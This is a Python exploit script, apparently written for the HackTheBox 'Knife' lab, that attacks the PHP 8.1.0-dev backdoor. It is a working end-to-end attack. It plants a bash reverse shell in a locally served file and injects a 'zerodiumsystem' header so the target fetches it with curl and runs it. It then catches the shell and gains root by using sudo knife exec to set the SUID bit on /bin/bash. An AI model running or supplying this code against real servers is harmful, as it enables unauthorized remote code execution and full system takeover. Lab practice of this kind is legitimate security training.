autopwn_knife.py

#!/usr/bin/python3

# Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution
# Date: 26/08/21
# Exploit Author: H4ckBl0g
# Version: 8.1.0-dev
# CVE : N/A
# References:
#     - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#     - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md
#Uso: python3 autopwn_knife.py <LHOST> <URL>
#Ejemplo: python3 autopwn_knife.py 10.10.16.198 http://10.10.10.242/

import sys
import os
import time
import threading
import requests
import signal
import subprocess
from pwn import *


if len(sys.argv) != 3:
    print("\nUso: python3 autopwn_knife.py <LHOST> <URL>\n\nEjemplo: python3 autopwn_knife.py 10.10.16.198 http://10.10.10.242/")
    sys.exit(1)


#Variables
URL = sys.argv[2]
LHOST = sys.argv[1]
LPORT = 443

#Funciones
def def_handler(sig, frame):
    print("\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)


def obtainShell():
    try:
        p1 = log.progress("\nCreando archivo index.html con contenido malicioso\n")
        os.system('echo "#!/bin/bash\n\nbash -i >& /dev/tcp/%s/443 0>&1" > index.html' %LHOST)
        s = requests.Session()
        cmd_header = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
            'User-Agentt' : 'zerodiumsystem("curl http://%s|bash");' %LHOST
        }
        subprocess.Popen(["timeout", "10", "python3", "-m", "http.server", "80"])
        time.sleep(1)
        r = s.get(URL, headers=cmd_header)
        time.sleep(1)


    except Exception as e:
        print(e)



if __name__ == '__main__':
    try:
        threading.Thread(target=obtainShell).start()
    except Exception as e:
        log.error(str(e))
    shell = listen(LPORT, timeout=5).wait_for_connection()

    if shell.sock is None:
        log.failure("No se ha obtenido conexion")
        sys.exit()
    else:
        log.success("\n ✔️  Se ha obtenido una shell ✔️ \n")
        os.system("rm index.html")
        time.sleep(1)
        shell.sendline("""sudo /usr/bin/knife exec -E 'exec "chmod +s /bin/bash"'""")
        shell.sendline("bash -p")
        shell.sendline("whoami")

    shell.interactive()